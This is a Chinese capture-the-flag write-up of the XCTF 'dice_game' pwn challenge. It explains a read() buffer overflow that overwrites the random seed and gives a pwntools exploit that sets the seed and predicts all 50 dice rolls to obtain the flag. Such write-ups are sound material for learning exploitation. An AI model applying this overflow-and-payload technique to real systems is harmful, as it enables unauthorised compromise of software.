攻防世界pwn-dic_game


关于elf文件结构
.got全局偏移表
.plt程序链接表

#覆盖随机数种子

又是一个猜数游戏,checksec如下

存在溢出函数read,用time来作为当前的随机数种子

在sub_556DF3600A20中,v1为输入的数,v2为随机数,如果相等则win,返回1

当50次都输入正确是,进入sub_556DF3600B28函数,该函数将输出flag

因此,只要能知道随机数种子就可以预测每一次的数字,从而获得flag。
存在的溢出点read函数则可以帮助实现。

buf的大小为55,而read分配的空间为0x50,也就是80,buf在栈中到seed的偏移为64。

通过输入name进行溢出覆盖到seed,使得seed可控,从而可预测出随机数

利用exp如下:

from pwn import*
from ctypes import*

libc = cdll.LoadLibrary("./libc.so.6")
libc.srand(0x30303031)

sh = remote()
payload = b'a' * 64 + b'1000'
sh.sendlineafter("Welcome, let me know your name:", payload)

for i in range(50):
	sh.sendlineafter("Give me the point(1~6):", str(libc.rand() % 6 + 1))

sh.interactive()

[[攻防世界pwn-guess_num]]


文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论